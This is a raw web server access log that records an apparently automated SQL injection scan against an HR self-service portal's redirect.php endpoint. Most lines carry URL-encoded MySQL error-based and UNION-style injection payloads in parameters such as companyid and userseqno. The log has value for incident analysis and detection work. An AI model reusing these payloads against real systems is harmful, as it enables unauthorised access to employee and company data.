100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x6a30496b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a614d6f%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FlzKs&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6347335a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41496955%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FYCZE%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:37 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6347335a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41496955%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FYCZE%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6c6f4568%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x78733073%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F2DSi&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x586f6c31%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x64506732%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2Fc07c&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x39646269%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x43555a43%29%2C6420%29--%2F%2A%2A%2Fbxlt&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x32393679%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x747a5a6f%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x32393679%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x747a5a6f%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x75586f58%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3558506f%29%2C6420%29--%2F%2A%2A%2F1XMn&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x75586f58%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3558506f%29%2C6420%29--%2F%2A%2A%2F1XMn&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x44554631%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x68383769%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2Fdxor%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x44554631%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x68383769%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2Fdxor%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x744c7433%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x30434557%29%29--%2F%2A%2A%2FudWl&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x744c7433%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x30434557%29%29--%2F%2A%2A%2FudWl&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x62483957%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x54336563%29%29%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F1CDO%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x62483957%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x54336563%29%29%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F1CDO%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x34304545%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x426e4575%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FXfHh%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x34304545%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x426e4575%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FXfHh%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x39346848%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65324d57%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x39346848%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65324d57%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:38 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x4e7a4e6c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77794e57%29%29--%2F%2A%2A%2FqVVC&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
